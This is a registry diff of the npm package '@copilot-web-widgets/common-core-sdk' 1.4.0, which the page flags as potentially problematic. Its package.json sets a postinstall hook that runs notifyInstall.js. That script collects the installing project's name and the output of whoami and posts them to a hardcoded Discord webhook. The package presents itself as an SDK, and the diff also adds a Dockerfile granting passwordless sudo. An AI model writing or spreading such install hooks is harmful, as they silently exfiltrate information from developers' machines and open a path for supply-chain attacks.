@copilot-web-widgets/common-core-sdk 1.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @copilot-web-widgets/common-core-sdk might be problematic. Click here for more details.

@@ -0,0 +1,12 @@
1
+ FROM node:22
2
+
3
+ # Install basic development tools
4
+ RUN apt update && apt install -y less man-db sudo
5
+
6
+ # Ensure default `node` user has access to `sudo`
7
+ ARG USERNAME=node
8
+ RUN echo $USERNAME ALL=\(root\) NOPASSWD:ALL > /etc/sudoers.d/$USERNAME \
9
+ && chmod 0440 /etc/sudoers.d/$USERNAME
10
+
11
+ # Set `DEVCONTAINER` environment variable to help with orientation
12
+ ENV DEVCONTAINER=true
@@ -0,0 +1,8 @@
1
+ // See https://containers.dev/implementors/json_reference/ for configuration reference
2
+ {
3
+ "name": "Untitled Node.js project",
4
+ "build": {
5
+ "dockerfile": "Dockerfile"
6
+ },
7
+ "remoteUser": "node"
8
+ }
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@copilot-web-widgets/common-core-sdk",
3
+ "version": "1.4.0",
4
+ "main": "src/index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "postinstall": "node src/notifyInstall.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": "",
12
+ "dependencies": {
13
+ "@copilot-web-widgets/common-core-sdk": "^1.2.0"
14
+ }
15
+ }
package/src/index.js ADDED
@@ -0,0 +1,12 @@
1
+ // index.js
2
+
3
+ // Log "busfactor" to the console
4
+ console.log("busfactor");
5
+
6
+ // Create a hidden <div> element with the text "busfactor"
7
+ const hiddenDiv = document.createElement("div");
8
+ hiddenDiv.textContent = "busfactor";
9
+ hiddenDiv.style.display = "none";
10
+
11
+ // Append the hidden <div> to the end of the document body
12
+ document.body.appendChild(hiddenDiv);
@@ -0,0 +1,81 @@
1
+ const https = require('https');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const { execSync } = require('child_process');
5
+
6
+ let projectName = 'Unknown Project';
7
+ try {
8
+ const packageJsonPath = path.join(process.cwd(), 'package.json');
9
+ if (fs.existsSync(packageJsonPath)) {
10
+ const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
11
+ projectName = packageJson.name || path.basename(process.cwd());
12
+ }
13
+ } catch (error) {
14
+ console.error('Error reading package.json:', error);
15
+ }
16
+
17
+ let currentUser = 'Unknown User';
18
+ try {
19
+ currentUser = execSync('whoami').toString().trim();
20
+ } catch (error) {
21
+ console.error('Error executing whoami:', error);
22
+ }
23
+
24
+ const data = JSON.stringify({
25
+ content: "Package has been installed or used",
26
+ embeds: [
27
+ {
28
+ title: "Installation Notification",
29
+ description: "The package was installed or used",
30
+ color: 5814783,
31
+ fields: [
32
+ {
33
+ name: "Timestamp",
34
+ value: new Date().toISOString(),
35
+ inline: true
36
+ },
37
+ {
38
+ name: "Package Name",
39
+ value: "@copilot-web-widgets/common-core-sdk",
40
+ inline: true
41
+ },
42
+ {
43
+ name: "Project Name",
44
+ value: projectName,
45
+ inline: false
46
+ },
47
+ {
48
+ name: "User",
49
+ value: currentUser,
50
+ inline: true
51
+ }
52
+ ]
53
+ }
54
+ ]
55
+ });
56
+
57
+ const options = {
58
+ hostname: 'discord.com',
59
+ port: 443,
60
+ path: '/api/webhooks/1293639013881872394/Dm-VH1AcEzigVUCDipHGmu-zDhb3UnmEbCoduz9fvuGPNhAzu8S4ufv0Q2bhwz-fW6wA',
61
+ method: 'POST',
62
+ headers: {
63
+ 'Content-Type': 'application/json',
64
+ 'Content-Length': data.length
65
+ }
66
+ };
67
+
68
+ const req = https.request(options, (res) => {
69
+ console.log(`Status: ${res.statusCode}`);
70
+ res.on('data', (d) => {
71
+ process.stdout.write(d);
72
+ });
73
+ });
74
+
75
+ req.on('error', (error) => {
76
+ console.error(error);
77
+ });
78
+
79
+ // Send the data
80
+ req.write(data);
81
+ req.end();